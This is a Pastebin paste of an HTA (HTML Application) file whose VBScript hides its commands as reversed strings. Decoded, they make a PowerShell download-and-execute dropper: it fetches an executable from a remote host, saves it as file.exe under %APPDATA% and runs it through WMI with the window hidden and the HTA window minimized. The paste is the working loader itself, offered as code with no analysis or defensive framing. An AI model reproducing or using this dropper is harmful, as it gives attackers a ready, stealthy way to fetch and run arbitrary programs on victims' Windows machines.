Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head>
- <HTA:APPLICATION icon="#" WINDOWSTATE="minimize" SYSMENU="no" CAPTION="no" />
- <SCRIPT Language="VBScript">
- 'Begin Code
- gshjgjshsjhsusyuiweiwuwiuwiuiww = StrReverse(")'exe.elif'+'\\'+ATADPPA:vne$(ssecorp-trats ;D|')''exe.elif''+''\\''+ATADPPA:vne$,''exe.yttup/46w/tsetal/yttup/mahtatgs~/il.htrae.eht//:sptth''(e'+'liF'+'dao'+'ln'+'woD.'+')tne'+'ilC'+'beW'+'.teN' +')*O-W* '+'MCG(&(';r$ D las ;)'I','K'(ecalper.'XEK'=r$ llehsrewoP")
- exec(gshjgjshsjhsusyuiweiwuwiuwiuiww)
- Sub exec(Atc)
- strCommand = Atc
- Set objWMIService = GetObject(StrReverse("2vmic\toor\.\\!}etanosrepmi=leveLnoitanosrepmi{:stmgmniw"))
- Set objStartup = objWMIService.Get(StrReverse("putratSssecorP_23niW"))
- Set objConfig = objStartup.SpawnInstance_
- objConfig.ShowWindow = 0
- Set objProcess = objWMIService.Get(StrReverse("ssecorP_23niW"))
- intReturn = objProcess.Create(strCommand, Null, objConfig, intProcessID)
- End Sub
- self.close
- self.close
- </SCRIPT>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement